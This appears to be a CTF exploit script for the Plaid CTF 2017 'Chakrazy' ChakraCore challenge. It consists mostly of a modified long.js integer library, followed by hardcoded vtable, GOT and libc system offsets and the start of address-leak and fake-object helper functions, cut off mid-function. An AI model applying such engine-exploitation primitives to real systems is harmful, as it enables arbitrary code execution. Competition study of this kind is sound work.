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Plaid CTF 2017 - Chakrazy
/**
* @license long.js (c) 2013 Daniel Wirtz <dcode@dcode.io>
* Released under the Apache License, Version 2.0
* see: https://github.com/dcodeIO/long.js for details
*/
var Integer = (function() {
/**
* Constructs a 64 bit two's-complement integer, given its low and high 32 bit values as *signed* integers.
* See the from* functions below for more convenient ways of constructing Integers.
* @exports Integer
* @class A Integer class for representing a 64 bit two's-complement integer value.
* @param {number} low The low (signed) 32 bits of the long
* @param {number} high The high (signed) 32 bits of the long
* @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
* @constructor
*/
function Integer(low, high, unsigned, size) {
this.size = size || 64;
if (size == 8) {
low &= 0xff;
if (unsigned || low < 0x80) {
high = 0;
} else {
low |= 0xffffff00;
high = 0xffffffff;
}
} else if (size == 16) {
low &= 0xffff;
if (unsigned || low < 0x8000) {
high = 0;
} else {
low |= 0xffff0000;
high = 0xffffffff;
}
} else if (size == 32) {
if (unsigned || (low|0) >= 0) {
high = 0;
} else {
high = 0xffffffff;
}
}
/**
* The low 32 bits as a signed value.
* @type {number}
*/
this.low = low | 0;
/**
* The high 32 bits as a signed value.
* @type {number}
*/
this.high = high | 0;
/**
* Whether unsigned or not.
* @type {boolean}
*/
this.unsigned = !!unsigned;
}
// The internal representation of a long is the two given signed, 32-bit values.
// We use 32-bit pieces because these are the size of integers on which
// Javascript performs bit-operations. For operations like addition and
// multiplication, we split each number into 16 bit pieces, which can easily be
// multiplied within Javascript's floating-point representation without overflow
// or change in sign.
//
// In the algorithms below, we frequently reduce the negative case to the
// positive case by negating the input(s) and then post-processing the result.
// Note that we must ALWAYS check specially whether those values are MIN_VALUE
// (-2^63) because -MIN_VALUE == MIN_VALUE (since 2^63 cannot be represented as
// a positive number, it overflows back into a negative). Not handling this
// case would often result in infinite recursion.
//
// Common constant values ZERO, ONE, NEG_ONE, etc. are defined below the from*
// methods on which they depend.
/**
* An indicator used to reliably determine if an object is a Integer or not.
* @type {boolean}
* @const
* @private
*/
Integer.prototype.__isInteger__;
Object.defineProperty(Integer.prototype, "__isInteger__", {
value: true,
enumerable: false,
configurable: false
});
/**
* @function
* @param {*} obj Object
* @returns {boolean}
* @inner
*/
function isInteger(obj) {
return (obj && obj["__isInteger__"]) === true;
}
/**
* Tests if the specified object is a Integer.
* @function
* @param {*} obj Object
* @returns {boolean}
*/
Integer.isInteger = isInteger;
/**
* A cache of the Integer representations of small integer values.
* @type {!Object}
* @inner
*/
var INT_CACHE = {};
/**
* A cache of the Integer representations of small unsigned integer values.
* @type {!Object}
* @inner
*/
var UINT_CACHE = {};
/**
* @param {number} value
* @param {boolean=} unsigned
* @returns {!Integer}
* @inner
*/
function fromInt(value, unsigned) {
var obj, cachedObj, cache;
if (unsigned) {
value >>>= 0;
if (cache = (0 <= value && value < 256)) {
cachedObj = UINT_CACHE[value];
if (cachedObj)
return cachedObj;
}
obj = fromBits(value, (value | 0) < 0 ? -1 : 0, true);
if (cache)
UINT_CACHE[value] = obj;
return obj;
} else {
value |= 0;
if (cache = (-128 <= value && value < 128)) {
cachedObj = INT_CACHE[value];
if (cachedObj)
return cachedObj;
}
obj = fromBits(value, value < 0 ? -1 : 0, false);
if (cache)
INT_CACHE[value] = obj;
return obj;
}
}
/**
* Returns a Integer representing the given 32 bit integer value.
* @function
* @param {number} value The 32 bit integer in question
* @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
* @returns {!Integer} The corresponding Integer value
*/
Integer.fromInt = fromInt;
/**
* @param {number} value
* @param {boolean=} unsigned
* @returns {!Integer}
* @inner
*/
function fromNumber(value, unsigned) {
if (isNaN(value) || !isFinite(value))
return unsigned ? UZERO : ZERO;
if (unsigned) {
if (value < 0)
return UZERO;
if (value >= TWO_PWR_64_DBL)
return MAX_UNSIGNED_VALUE;
} else {
if (value <= -TWO_PWR_63_DBL)
return MIN_VALUE;
if (value + 1 >= TWO_PWR_63_DBL)
return MAX_VALUE;
}
if (value < 0)
return fromNumber(-value, unsigned).neg();
return fromBits((value % TWO_PWR_32_DBL) | 0, (value / TWO_PWR_32_DBL) | 0, unsigned);
}
/**
* Returns a Integer representing the given value, provided that it is a finite number. Otherwise, zero is returned.
* @function
* @param {number} value The number in question
* @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
* @returns {!Integer} The corresponding Integer value
*/
Integer.fromNumber = fromNumber;
/**
* @param {number} lowBits
* @param {number} highBits
* @param {boolean=} unsigned
* @returns {!Integer}
* @inner
*/
function fromBits(lowBits, highBits, unsigned) {
return new Integer(lowBits, highBits, unsigned);
}
/**
* Returns a Integer representing the 64 bit integer that comes by concatenating the given low and high bits. Each is
* assumed to use 32 bits.
* @function
* @param {number} lowBits The low 32 bits
* @param {number} highBits The high 32 bits
* @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
* @returns {!Integer} The corresponding Integer value
*/
Integer.fromBits = fromBits;
/**
* @function
* @param {number} base
* @param {number} exponent
* @returns {number}
* @inner
*/
var pow_dbl = Math.pow; // Used 4 times (4*8 to 15+4)
/**
* @param {string} str
* @param {(boolean|number)=} unsigned
* @param {number=} radix
* @returns {!Integer}
* @inner
*/
function fromString(str, unsigned, radix) {
if (str.length === 0)
throw Error('empty string');
if (str === "NaN" || str === "Infinity" || str === "+Infinity" || str === "-Infinity")
return ZERO;
if (typeof unsigned === 'number') {
// For goog.math.long compatibility
radix = unsigned,
unsigned = false;
} else {
unsigned = !! unsigned;
}
radix = radix || 10;
if (radix < 2 || 36 < radix)
throw RangeError('radix');
var p;
if ((p = str.indexOf('-')) > 0)
throw Error('interior hyphen');
else if (p === 0) {
return fromString(str.substring(1), unsigned, radix).neg();
}
// Do several (8) digits each time through the loop, so as to
// minimize the calls to the very expensive emulated div.
var radixToPower = fromNumber(pow_dbl(radix, 8));
var result = ZERO;
for (var i = 0; i < str.length; i += 8) {
var size = Math.min(8, str.length - i),
value = parseInt(str.substring(i, i + size), radix);
if (size < 8) {
var power = fromNumber(pow_dbl(radix, size));
result = result.mul(power).add(fromNumber(value));
} else {
result = result.mul(radixToPower);
result = result.add(fromNumber(value));
}
}
result.unsigned = unsigned;
return result;
}
/**
* Returns a Integer representation of the given string, written using the specified radix.
* @function
* @param {string} str The textual representation of the Integer
* @param {(boolean|number)=} unsigned Whether unsigned or not, defaults to `false` for signed
* @param {number=} radix The radix in which the text is written (2-36), defaults to 10
* @returns {!Integer} The corresponding Integer value
*/
Integer.fromString = fromString;
/**
* @function
* @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val
* @returns {!Integer}
* @inner
*/
function fromValue(val) {
if (val /* is compatible */ instanceof Integer)
return val;
if (typeof val === 'number')
return fromNumber(val);
if (typeof val === 'string')
return fromString(val);
// Throws for non-objects, converts non-instanceof Integer:
return fromBits(val.low, val.high, val.unsigned);
}
/**
* Converts the specified value to a Integer.
* @function
* @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val Value
* @returns {!Integer}
*/
Integer.fromValue = fromValue;
// NOTE: the compiler should inline these constant values below and then remove these variables, so there should be
// no runtime penalty for these.
/**
* @type {number}
* @const
* @inner
*/
var TWO_PWR_16_DBL = 1 << 16;
/**
* @type {number}
* @const
* @inner
*/
var TWO_PWR_24_DBL = 1 << 24;
/**
* @type {number}
* @const
* @inner
*/
var TWO_PWR_32_DBL = TWO_PWR_16_DBL * TWO_PWR_16_DBL;
/**
* @type {number}
* @const
* @inner
*/
var TWO_PWR_64_DBL = TWO_PWR_32_DBL * TWO_PWR_32_DBL;
/**
* @type {number}
* @const
* @inner
*/
var TWO_PWR_63_DBL = TWO_PWR_64_DBL / 2;
/**
* @type {!Integer}
* @const
* @inner
*/
var TWO_PWR_24 = fromInt(TWO_PWR_24_DBL);
/**
* @type {!Integer}
* @inner
*/
var ZERO = fromInt(0);
/**
* Signed zero.
* @type {!Integer}
*/
Integer.ZERO = ZERO;
/**
* @type {!Integer}
* @inner
*/
var UZERO = fromInt(0, true);
/**
* Unsigned zero.
* @type {!Integer}
*/
Integer.UZERO = UZERO;
/**
* @type {!Integer}
* @inner
*/
var ONE = fromInt(1);
/**
* Signed one.
* @type {!Integer}
*/
Integer.ONE = ONE;
/**
* @type {!Integer}
* @inner
*/
var UONE = fromInt(1, true);
/**
* Unsigned one.
* @type {!Integer}
*/
Integer.UONE = UONE;
/**
* @type {!Integer}
* @inner
*/
var NEG_ONE = fromInt(-1);
/**
* Signed negative one.
* @type {!Integer}
*/
Integer.NEG_ONE = NEG_ONE;
/**
* @type {!Integer}
* @inner
*/
var MAX_VALUE = fromBits(0xFFFFFFFF|0, 0x7FFFFFFF|0, false);
/**
* Maximum signed value.
* @type {!Integer}
*/
Integer.MAX_VALUE = MAX_VALUE;
/**
* @type {!Integer}
* @inner
*/
var MAX_UNSIGNED_VALUE = fromBits(0xFFFFFFFF|0, 0xFFFFFFFF|0, true);
/**
* Maximum unsigned value.
* @type {!Integer}
*/
Integer.MAX_UNSIGNED_VALUE = MAX_UNSIGNED_VALUE;
/**
* @type {!Integer}
* @inner
*/
var MIN_VALUE = fromBits(0, 0x80000000|0, false);
/**
* Minimum signed value.
* @type {!Integer}
*/
Integer.MIN_VALUE = MIN_VALUE;
/**
* @alias Integer.prototype
* @inner
*/
var IntegerPrototype = Integer.prototype;
/**
* Converts the Integer to a 32 bit integer, assuming it is a 32 bit integer.
* @returns {number}
*/
IntegerPrototype.toInt = function toInt() {
return this.unsigned ? this.low >>> 0 : this.low;
};
/**
* Converts the Integer to a the nearest floating-point representation of this value (double, 53 bit mantissa).
* @returns {number}
*/
IntegerPrototype.toNumber = function toNumber() {
if (this.unsigned)
return ((this.high >>> 0) * TWO_PWR_32_DBL) + (this.low >>> 0);
return this.high * TWO_PWR_32_DBL + (this.low >>> 0);
};
/**
* Converts the Integer to a string written in the specified radix.
* @param {number=} radix Radix (2-36), defaults to 10
* @returns {string}
* @override
* @throws {RangeError} If `radix` is out of range
*/
IntegerPrototype.toString = function toString(radix) {
radix = radix || 10;
if (radix < 2 || 36 < radix)
throw RangeError('radix');
if (this.isZero())
return '0';
if (this.isNegative()) { // Unsigned Integers are never negative
if (this.eq(MIN_VALUE)) {
// We need to change the Integer value before it can be negated, so we remove
// the bottom-most digit in this base and then recurse to do the rest.
var radixInteger = fromNumber(radix),
div = this.div(radixInteger),
rem1 = div.mul(radixInteger).sub(this);
return div.toString(radix) + rem1.toInt().toString(radix);
} else
return '-' + this.neg().toString(radix);
}
// Do several (6) digits each time through the loop, so as to
// minimize the calls to the very expensive emulated div.
var radixToPower = fromNumber(pow_dbl(radix, 6), this.unsigned),
rem = this;
var result = '';
while (true) {
var remDiv = rem.div(radixToPower),
intval = rem.sub(remDiv.mul(radixToPower)).toInt() >>> 0,
digits = intval.toString(radix);
rem = remDiv;
if (rem.isZero())
return digits + result;
else {
while (digits.length < 6)
digits = '0' + digits;
result = '' + digits + result;
}
}
};
/**
* Gets the high 32 bits as a signed integer.
* @returns {number} Signed high bits
*/
IntegerPrototype.getHighBits = function getHighBits() {
return this.high;
};
/**
* Gets the high 32 bits as an unsigned integer.
* @returns {number} Unsigned high bits
*/
IntegerPrototype.getHighBitsUnsigned = function getHighBitsUnsigned() {
return this.high >>> 0;
};
/**
* Gets the low 32 bits as a signed integer.
* @returns {number} Signed low bits
*/
IntegerPrototype.getLowBits = function getLowBits() {
return this.low;
};
/**
* Gets the low 32 bits as an unsigned integer.
* @returns {number} Unsigned low bits
*/
IntegerPrototype.getLowBitsUnsigned = function getLowBitsUnsigned() {
return this.low >>> 0;
};
/**
* Gets the number of bits needed to represent the absolute value of this Integer.
* @returns {number}
*/
IntegerPrototype.getNumBitsAbs = function getNumBitsAbs() {
if (this.isNegative()) // Unsigned Integers are never negative
return this.eq(MIN_VALUE) ? 64 : this.neg().getNumBitsAbs();
var val = this.high != 0 ? this.high : this.low;
for (var bit = 31; bit > 0; bit--)
if ((val & (1 << bit)) != 0)
break;
return this.high != 0 ? bit + 33 : bit + 1;
};
/**
* Tests if this Integer's value equals zero.
* @returns {boolean}
*/
IntegerPrototype.isZero = function isZero() {
return this.high === 0 && this.low === 0;
};
/**
* Tests if this Integer's value is negative.
* @returns {boolean}
*/
IntegerPrototype.isNegative = function isNegative() {
return !this.unsigned && this.high < 0;
};
/**
* Tests if this Integer's value is positive.
* @returns {boolean}
*/
IntegerPrototype.isPositive = function isPositive() {
return this.unsigned || this.high >= 0;
};
/**
* Tests if this Integer's value is odd.
* @returns {boolean}
*/
IntegerPrototype.isOdd = function isOdd() {
return (this.low & 1) === 1;
};
/**
* Tests if this Integer's value is even.
* @returns {boolean}
*/
IntegerPrototype.isEven = function isEven() {
return (this.low & 1) === 0;
};
/**
* Tests if this Integer's value equals the specified's.
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.equals = function equals(other) {
if (!isInteger(other))
other = fromValue(other);
if (this.unsigned !== other.unsigned && (this.high >>> 31) === 1 && (other.high >>> 31) === 1)
return false;
return this.high === other.high && this.low === other.low;
};
/**
* Tests if this Integer's value equals the specified's. This is an alias of {@link Integer#equals}.
* @function
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.eq = IntegerPrototype.equals;
/**
* Tests if this Integer's value differs from the specified's.
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.notEquals = function notEquals(other) {
return !this.eq(/* validates */ other);
};
/**
* Tests if this Integer's value differs from the specified's. This is an alias of {@link Integer#notEquals}.
* @function
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.neq = IntegerPrototype.notEquals;
/**
* Tests if this Integer's value is less than the specified's.
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.lessThan = function lessThan(other) {
return this.comp(/* validates */ other) < 0;
};
/**
* Tests if this Integer's value is less than the specified's. This is an alias of {@link Integer#lessThan}.
* @function
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.lt = IntegerPrototype.lessThan;
/**
* Tests if this Integer's value is less than or equal the specified's.
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.lessThanOrEqual = function lessThanOrEqual(other) {
return this.comp(/* validates */ other) <= 0;
};
/**
* Tests if this Integer's value is less than or equal the specified's. This is an alias of {@link Integer#lessThanOrEqual}.
* @function
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.lte = IntegerPrototype.lessThanOrEqual;
/**
* Tests if this Integer's value is greater than the specified's.
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.greaterThan = function greaterThan(other) {
return this.comp(/* validates */ other) > 0;
};
/**
* Tests if this Integer's value is greater than the specified's. This is an alias of {@link Integer#greaterThan}.
* @function
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.gt = IntegerPrototype.greaterThan;
/**
* Tests if this Integer's value is greater than or equal the specified's.
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.greaterThanOrEqual = function greaterThanOrEqual(other) {
return this.comp(/* validates */ other) >= 0;
};
/**
* Tests if this Integer's value is greater than or equal the specified's. This is an alias of {@link Integer#greaterThanOrEqual}.
* @function
* @param {!Integer|number|string} other Other value
* @returns {boolean}
*/
IntegerPrototype.gte = IntegerPrototype.greaterThanOrEqual;
/**
* Compares this Integer's value with the specified's.
* @param {!Integer|number|string} other Other value
* @returns {number} 0 if they are the same, 1 if the this is greater and -1
* if the given one is greater
*/
IntegerPrototype.compare = function compare(other) {
if (!isInteger(other))
other = fromValue(other);
if (this.eq(other))
return 0;
var thisNeg = this.isNegative(),
otherNeg = other.isNegative();
if (thisNeg && !otherNeg)
return -1;
if (!thisNeg && otherNeg)
return 1;
// At this point the sign bits are the same
if (!this.unsigned)
return this.sub(other).isNegative() ? -1 : 1;
// Both are positive if at least one is unsigned
return (other.high >>> 0) > (this.high >>> 0) || (other.high === this.high && (other.low >>> 0) > (this.low >>> 0)) ? -1 : 1;
};
/**
* Compares this Integer's value with the specified's. This is an alias of {@link Integer#compare}.
* @function
* @param {!Integer|number|string} other Other value
* @returns {number} 0 if they are the same, 1 if the this is greater and -1
* if the given one is greater
*/
IntegerPrototype.comp = IntegerPrototype.compare;
/**
* Negates this Integer's value.
* @returns {!Integer} Negated Integer
*/
IntegerPrototype.negate = function negate() {
if (!this.unsigned && this.eq(MIN_VALUE))
return MIN_VALUE;
return this.not().add(ONE);
};
/**
* Negates this Integer's value. This is an alias of {@link Integer#negate}.
* @function
* @returns {!Integer} Negated Integer
*/
IntegerPrototype.neg = IntegerPrototype.negate;
/**
* Returns the sum of this and the specified Integer.
* @param {!Integer|number|string} addend Addend
* @returns {!Integer} Sum
*/
IntegerPrototype.add = function add(addend) {
if (!isInteger(addend))
addend = fromValue(addend);
// Divide each number into 4 chunks of 16 bits, and then sum the chunks.
var a48 = this.high >>> 16;
var a32 = this.high & 0xFFFF;
var a16 = this.low >>> 16;
var a00 = this.low & 0xFFFF;
var b48 = addend.high >>> 16;
var b32 = addend.high & 0xFFFF;
var b16 = addend.low >>> 16;
var b00 = addend.low & 0xFFFF;
var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
c00 += a00 + b00;
c16 += c00 >>> 16;
c00 &= 0xFFFF;
c16 += a16 + b16;
c32 += c16 >>> 16;
c16 &= 0xFFFF;
c32 += a32 + b32;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c48 += a48 + b48;
c48 &= 0xFFFF;
return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size);
};
/**
* Returns the difference of this and the specified Integer.
* @param {!Integer|number|string} subtrahend Subtrahend
* @returns {!Integer} Difference
*/
IntegerPrototype.subtract = function subtract(subtrahend) {
if (!isInteger(subtrahend))
subtrahend = fromValue(subtrahend);
return this.add(subtrahend.neg());
};
/**
* Returns the difference of this and the specified Integer. This is an alias of {@link Integer#subtract}.
* @function
* @param {!Integer|number|string} subtrahend Subtrahend
* @returns {!Integer} Difference
*/
IntegerPrototype.sub = IntegerPrototype.subtract;
/**
* Returns the product of this and the specified Integer.
* @param {!Integer|number|string} multiplier Multiplier
* @returns {!Integer} Product
*/
IntegerPrototype.multiply = function multiply(multiplier) {
if (this.isZero())
return ZERO;
if (!isInteger(multiplier))
multiplier = fromValue(multiplier);
if (multiplier.isZero())
return ZERO;
if (this.eq(MIN_VALUE))
return multiplier.isOdd() ? MIN_VALUE : ZERO;
if (multiplier.eq(MIN_VALUE))
return this.isOdd() ? MIN_VALUE : ZERO;
if (this.isNegative()) {
if (multiplier.isNegative())
return this.neg().mul(multiplier.neg());
else
return this.neg().mul(multiplier).neg();
} else if (multiplier.isNegative())
return this.mul(multiplier.neg()).neg();
// If both longs are small, use float multiplication
if (this.lt(TWO_PWR_24) && multiplier.lt(TWO_PWR_24))
return fromNumber(this.toNumber() * multiplier.toNumber(), this.unsigned);
// Divide each long into 4 chunks of 16 bits, and then add up 4x4 products.
// We can skip products that would overflow.
var a48 = this.high >>> 16;
var a32 = this.high & 0xFFFF;
var a16 = this.low >>> 16;
var a00 = this.low & 0xFFFF;
var b48 = multiplier.high >>> 16;
var b32 = multiplier.high & 0xFFFF;
var b16 = multiplier.low >>> 16;
var b00 = multiplier.low & 0xFFFF;
var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
c00 += a00 * b00;
c16 += c00 >>> 16;
c00 &= 0xFFFF;
c16 += a16 * b00;
c32 += c16 >>> 16;
c16 &= 0xFFFF;
c16 += a00 * b16;
c32 += c16 >>> 16;
c16 &= 0xFFFF;
c32 += a32 * b00;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c32 += a16 * b16;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c32 += a00 * b32;
c48 += c32 >>> 16;
c32 &= 0xFFFF;
c48 += a48 * b00 + a32 * b16 + a16 * b32 + a00 * b48;
c48 &= 0xFFFF;
return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size);
};
/**
* Returns the product of this and the specified Integer. This is an alias of {@link Integer#multiply}.
* @function
* @param {!Integer|number|string} multiplier Multiplier
* @returns {!Integer} Product
*/
IntegerPrototype.mul = IntegerPrototype.multiply;
/**
* Returns this Integer divided by the specified. The result is signed if this Integer is signed or
* unsigned if this Integer is unsigned.
* @param {!Integer|number|string} divisor Divisor
* @returns {!Integer} Quotient
*/
IntegerPrototype.divide = function divide(divisor) {
if (!isInteger(divisor))
divisor = fromValue(divisor);
if (divisor.isZero())
throw Error('division by zero');
if (this.isZero())
return this.unsigned ? UZERO : ZERO;
var approx, rem, res;
if (!this.unsigned) {
// This section is only relevant for signed longs and is derived from the
// closure library as a whole.
if (this.eq(MIN_VALUE)) {
if (divisor.eq(ONE) || divisor.eq(NEG_ONE))
return MIN_VALUE; // recall that -MIN_VALUE == MIN_VALUE
else if (divisor.eq(MIN_VALUE))
return ONE;
else {
// At this point, we have |other| >= 2, so |this/other| < |MIN_VALUE|.
var halfThis = this.shr(1);
approx = halfThis.div(divisor).shl(1);
if (approx.eq(ZERO)) {
return divisor.isNegative() ? ONE : NEG_ONE;
} else {
rem = this.sub(divisor.mul(approx));
res = approx.add(rem.div(divisor));
return res;
}
}
} else if (divisor.eq(MIN_VALUE))
return this.unsigned ? UZERO : ZERO;
if (this.isNegative()) {
if (divisor.isNegative())
return this.neg().div(divisor.neg());
return this.neg().div(divisor).neg();
} else if (divisor.isNegative())
return this.div(divisor.neg()).neg();
res = ZERO;
} else {
// The algorithm below has not been made for unsigned longs. It's therefore
// required to take special care of the MSB prior to running it.
if (!divisor.unsigned)
divisor = divisor.toUnsigned();
if (divisor.gt(this))
return UZERO;
if (divisor.gt(this.shru(1))) // 15 >>> 1 = 7 ; with divisor = 8 ; true
return UONE;
res = UZERO;
}
// Repeat the following until the remainder is less than other: find a
// floating-point that approximates remainder / other *from below*, add this
// into the result, and subtract it from the remainder. It is critical that
// the approximate value is less than or equal to the real value so that the
// remainder never becomes negative.
rem = this;
while (rem.gte(divisor)) {
// Approximate the result of division. This may be a little greater or
// smaller than the actual value.
approx = Math.max(1, Math.floor(rem.toNumber() / divisor.toNumber()));
// We will tweak the approximate result by changing it in the 48-th digit or
// the smallest non-fractional digit, whichever is larger.
var log2 = Math.ceil(Math.log(approx) / Math.LN2),
delta = (log2 <= 48) ? 1 : pow_dbl(2, log2 - 48),
// Decrease the approximation until it is smaller than the remainder. Note
// that if it is too large, the product overflows and is negative.
approxRes = fromNumber(approx),
approxRem = approxRes.mul(divisor);
while (approxRem.isNegative() || approxRem.gt(rem)) {
approx -= delta;
approxRes = fromNumber(approx, this.unsigned);
approxRem = approxRes.mul(divisor);
}
// We know the answer can't be zero... and actually, zero would cause
// infinite recursion since we would make no progress.
if (approxRes.isZero())
approxRes = ONE;
res = res.add(approxRes);
rem = rem.sub(approxRem);
}
return res;
};
/**
* Returns this Integer divided by the specified. This is an alias of {@link Integer#divide}.
* @function
* @param {!Integer|number|string} divisor Divisor
* @returns {!Integer} Quotient
*/
IntegerPrototype.div = IntegerPrototype.divide;
/**
* Returns this Integer modulo the specified.
* @param {!Integer|number|string} divisor Divisor
* @returns {!Integer} Remainder
*/
IntegerPrototype.modulo = function modulo(divisor) {
if (!isInteger(divisor))
divisor = fromValue(divisor);
return this.sub(this.div(divisor).mul(divisor));
};
/**
* Returns this Integer modulo the specified. This is an alias of {@link Integer#modulo}.
* @function
* @param {!Integer|number|string} divisor Divisor
* @returns {!Integer} Remainder
*/
IntegerPrototype.mod = IntegerPrototype.modulo;
/**
* Returns the bitwise NOT of this Integer.
* @returns {!Integer}
*/
IntegerPrototype.not = function not() {
return fromBits(~this.low, ~this.high, this.unsigned, this.size);
};
/**
* Returns the bitwise AND of this Integer and the specified.
* @param {!Integer|number|string} other Other Integer
* @returns {!Integer}
*/
IntegerPrototype.and = function and(other) {
if (!isInteger(other))
other = fromValue(other);
return fromBits(this.low & other.low, this.high & other.high, this.unsigned, this.size);
};
/**
* Returns the bitwise OR of this Integer and the specified.
* @param {!Integer|number|string} other Other Integer
* @returns {!Integer}
*/
IntegerPrototype.or = function or(other) {
if (!isInteger(other))
other = fromValue(other);
return fromBits(this.low | other.low, this.high | other.high, this.unsigned, this.size);
};
/**
* Returns the bitwise XOR of this Integer and the given one.
* @param {!Integer|number|string} other Other Integer
* @returns {!Integer}
*/
IntegerPrototype.xor = function xor(other) {
if (!isInteger(other))
other = fromValue(other);
return fromBits(this.low ^ other.low, this.high ^ other.high, this.unsigned, this.size);
};
/**
* Returns this Integer with bits shifted to the left by the given amount.
* @param {number|!Integer} numBits Number of bits
* @returns {!Integer} Shifted Integer
*/
IntegerPrototype.shiftLeft = function shiftLeft(numBits) {
if (isInteger(numBits))
numBits = numBits.toInt();
if ((numBits &= 63) === 0)
return this;
else if (numBits < 32)
return fromBits(this.low << numBits, (this.high << numBits) | (this.low >>> (32 - numBits)), this.unsigned, this.size);
else
return fromBits(0, this.low << (numBits - 32), this.unsigned, this.size);
};
/**
* Returns this Integer with bits shifted to the left by the given amount. This is an alias of {@link Integer#shiftLeft}.
* @function
* @param {number|!Integer} numBits Number of bits
* @returns {!Integer} Shifted Integer
*/
IntegerPrototype.shl = IntegerPrototype.shiftLeft;
/**
* Returns this Integer with bits arithmetically shifted to the right by the given amount.
* @param {number|!Integer} numBits Number of bits
* @returns {!Integer} Shifted Integer
*/
IntegerPrototype.shiftRight = function shiftRight(numBits) {
if (isInteger(numBits))
numBits = numBits.toInt();
if ((numBits &= 63) === 0)
return this;
else if (numBits < 32)
return fromBits((this.low >>> numBits) | (this.high << (32 - numBits)), this.high >> numBits, this.unsigned, this.size);
else
return fromBits(this.high >> (numBits - 32), this.high >= 0 ? 0 : -1, this.unsigned, this.size);
};
/**
* Returns this Integer with bits arithmetically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRight}.
* @function
* @param {number|!Integer} numBits Number of bits
* @returns {!Integer} Shifted Integer
*/
IntegerPrototype.shr = IntegerPrototype.shiftRight;
/**
* Returns this Integer with bits logically shifted to the right by the given amount.
* @param {number|!Integer} numBits Number of bits
* @returns {!Integer} Shifted Integer
*/
IntegerPrototype.shiftRightUnsigned = function shiftRightUnsigned(numBits) {
if (isInteger(numBits))
numBits = numBits.toInt();
numBits &= 63;
if (numBits === 0)
return this;
else {
var high = this.high;
if (numBits < 32) {
var low = this.low;
return fromBits((low >>> numBits) | (high << (32 - numBits)), high >>> numBits, this.unsigned, this.size);
} else if (numBits === 32)
return fromBits(high, 0, this.unsigned, this.size);
else
return fromBits(high >>> (numBits - 32), 0, this.unsigned, this.size);
}
};
/**
* Returns this Integer with bits logically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRightUnsigned}.
* @function
* @param {number|!Integer} numBits Number of bits
* @returns {!Integer} Shifted Integer
*/
IntegerPrototype.shru = IntegerPrototype.shiftRightUnsigned;
/**
* Converts this Integer to signed.
* @returns {!Integer} Signed long
*/
IntegerPrototype.toSigned = function toSigned() {
if (!this.unsigned)
return this;
return fromBits(this.low, this.high, false, this.size);
};
/**
* Converts this Integer to unsigned.
* @returns {!Integer} Unsigned long
*/
IntegerPrototype.toUnsigned = function toUnsigned() {
if (this.unsigned)
return this;
return fromBits(this.low, this.high, true, this.size);
};
/**
* Converts this Integer to its byte representation.
* @param {boolean=} le Whether little or big endian, defaults to big endian
* @returns {!Array.<number>} Byte representation
*/
IntegerPrototype.toBytes = function(le) {
return le ? this.toBytesLE() : this.toBytesBE();
}
/**
* Converts this Integer to its little endian byte representation.
* @returns {!Array.<number>} Little endian byte representation
*/
IntegerPrototype.toBytesLE = function() {
var hi = this.high,
lo = this.low;
return [
lo & 0xff,
(lo >>> 8) & 0xff,
(lo >>> 16) & 0xff,
(lo >>> 24) & 0xff,
hi & 0xff,
(hi >>> 8) & 0xff,
(hi >>> 16) & 0xff,
(hi >>> 24) & 0xff
];
}
/**
* Converts this Integer to its big endian byte representation.
* @returns {!Array.<number>} Big endian byte representation
*/
IntegerPrototype.toBytesBE = function() {
var hi = this.high,
lo = this.low;
return [
(hi >>> 24) & 0xff,
(hi >>> 16) & 0xff,
(hi >>> 8) & 0xff,
hi & 0xff,
(lo >>> 24) & 0xff,
(lo >>> 16) & 0xff,
(lo >>> 8) & 0xff,
lo & 0xff
];
}
return Integer;
})();
// debug
// var offsets = {
// vtable_JavascriptNativeIntArray: 0x173abb0,
// vtable_Uint8Array: 0x171d708,
// got_mprotect: 0x1775070,
// got_memmove: 0x1775100,
// libc_mprotect: 0x101770,
// libc_system: 0x45390
// };
// release
var offsets = {
vtable_JavascriptNativeIntArray: 0xd5db30 + 0x10, // nm --demangle libChakraCore.so | grep vtable | grep JavascriptNativeIntArray
vtable_Uint8Array: 0xd43068 + 0x10,
got_mprotect: 0xd9b070,
got_memmove: 0xd9b0f0,
libc_mprotect: 0x101770,
libc_system: 0x45390
};
function wait(){
console.log("waiting");
while(true);
}
// https://stackoverflow.com/questions/1833588/javascript-clone-a-function/19515928#19515928
// eval(func.toString())みたいなものも試してみたがダメだった。要調査
function cloneFunc( func ) {
var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi
, s = func.toString().replace(/^\s|\s$/g, '')
, m = reFn.exec(s);
if (!m || !m.length) return;
var conf = {
name : m[1] || '',
args : m[2].replace(/\s+/g,'').split(','),
body : m[3] || ''
}
var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body));
return clone;
}
// これをやらないと2回目以降にうまく動かない(JITのせい?)
function getAddress(obj){
getAddress_ = cloneFunc(getAddress_);
return getAddress_(obj);
}
function asJsObject(addr){
asJsObject_ = cloneFunc(asJsObject_);
